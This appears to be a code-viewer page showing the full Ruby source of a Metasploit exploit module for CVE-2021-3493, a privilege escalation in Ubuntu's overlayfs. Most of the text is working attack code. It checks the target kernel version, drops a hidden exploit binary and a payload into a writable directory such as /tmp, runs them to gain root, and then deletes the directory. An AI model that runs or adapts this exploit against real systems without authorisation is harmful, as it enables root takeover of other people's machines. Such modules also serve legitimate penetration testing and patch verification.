Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/cve_2021_3493_overlayfs.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Post::Linux::Priv10include Msf::Post::Linux::System11include Msf::Post::Linux::Compile12include Msf::Post::Linux::Kernel13include Msf::Post::File14include Msf::Exploit::EXE15include Msf::Exploit::FileDropper1617def initialize(info = {})18super(19update_info(20info,21'Name' => '2021 Ubuntu Overlayfs LPE',22'Description' => %q{23This module exploits a vulnerability in Ubuntu's implementation of overlayfs. The24vulnerability is the result of failing to verify the ability of a user to set the25attributes in a running executable. Specifically, when Overlayfs sends the set attributes26data to the underlying file system via `vfs_setxattr`, it fails to first verify the data27by calling `cap_convert_nscap`.28This vulnerability was patched by moving the call to `cap_convert_nscap`29into the `vfs_setxattr` function that sets the attribute, forcing verification every time the30`vfs_setxattr` is called rather than trusting the data was already verified.31},32'License' => MSF_LICENSE,33'Author' => [34'ssd-disclosure',35'bwatters-r7' # Aka @tychos_moose, Metasploit Module36],37'DisclosureDate' => '2021-04-12',38'Platform' => [ 'linux' ],39'SessionTypes' => [ 'shell', 'meterpreter' ],40'Privileged' => true,41'References' => [42[ 'CVE', '2021-3493' ],43[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/' ],44[ 'URL', 'https://github.com/briskets/CVE-2021-3493' ]45],46'Notes' => {47'Reliability' => [ REPEATABLE_SESSION ],48'Stability' => [ ],49'SideEffects' => [ ARTIFACTS_ON_DISK ]50},51'Targets' => [52[53'x86_64',54{55'Arch' => [ ARCH_X64 ]56}57],58[59'aarch64',60{61'Arch' => [ ARCH_AARCH64 ]62}63]64],65'DefaultTarget' => 066)67)68register_options [69OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])70]71register_advanced_options [72OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])73]74end7576def check77arch = kernel_hardware7879unless arch.include?('x86_64') || arch.include?('aarch64')80return CheckCode::Safe("System architecture #{arch} is not supported")81end8283release = kernel_release84version = kernel_version8586unless userns_enabled?87return CheckCode::Safe('Unprivileged user namespaces are not permitted')88end8990vprint_good('Unprivileged user namespaces are permitted')9192# If the target is Ubuntu...93unless version =~ /[uU]buntu/94return CheckCode::Safe('Target is not Ubuntu!')95end9697version_array = release.split('-')98if version_array.length < 299fail_with(Failure::UnexpectedReply, 'The target Ubuntu server does not have the expected kernel version format!')100end101vprint_status("Version array: #{version_array}")102major_version = Rex::Version.new(version_array[0])103vprint_status("major_version: #{major_version}")104minor_version = version_array[1]105vprint_status("minor_version: #{minor_version}")106lower_bound_version = Rex::Version.new(3.13)107upper_bound_version = Rex::Version.new(5.14)108if major_version > upper_bound_version || major_version < lower_bound_version109return CheckCode::Safe("The target version #{major_version} is outside the vulnerable version range #{lower_bound_version}-#{upper_bound_version}")110end111112return CheckCode::Appears113end114115def exploit116if !datastore['ForceExploit'] && is_root?117fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')118end119120base_dir = datastore['WritableDir'].to_s121unless writable?(base_dir)122fail_with(Failure::BadConfig, "#{base_dir} is not writable")123end124125executable_name = ".#{rand_text_alphanumeric(5..10)}"126exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"127exploit_path = "#{exploit_dir}/#{executable_name}"128if file_exist?(exploit_dir)129fail_with(Failure::BadConfig, 'Exploit dir already exists')130end131mkdir(exploit_dir)132register_dir_for_cleanup(exploit_dir)133134# Upload exploit135arch = kernel_hardware136vprint_status("Detected architecture: #{arch}")137if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch'))138fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload')139end140if live_compile?141vprint_status('Live compiling exploit on system...')142upload_and_compile(exploit_path, exploit_source('CVE-2021-3493', 'cve_2021_3493.c'))143else144vprint_status 'Dropping pre-compiled exploit on system...'145if arch.include?('x86_64')146precompiled_binary = 'cve_2021_3493.x64.elf'147vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")148upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary)149elsif arch.include?('aarch64')150precompiled_binary = 'cve_2021_3493.aarch64.elf'151vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")152upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary)153else154fail_with(Failure::NoTarget, "Unknown architecture: '#{arch}'")155end156157end158register_file_for_cleanup(exploit_path)159160# Upload payload161payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"162upload_and_chmodx(payload_path, generate_payload_exe)163164# Launch exploit165print_status('Launching exploit...')166random_string = rand_text_alphanumeric(5..10)167cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir} #{random_string}"168vprint_status("Running: #{cmd_string}")169begin170output = cmd_exec(cmd_string)171vprint_status(output)172rescue Error => e173elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)174print_error("Exploit failed: #{e}")175ensure176# rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory.177cmd_exec("rm -rf '#{exploit_dir}'")178end179end180end181182183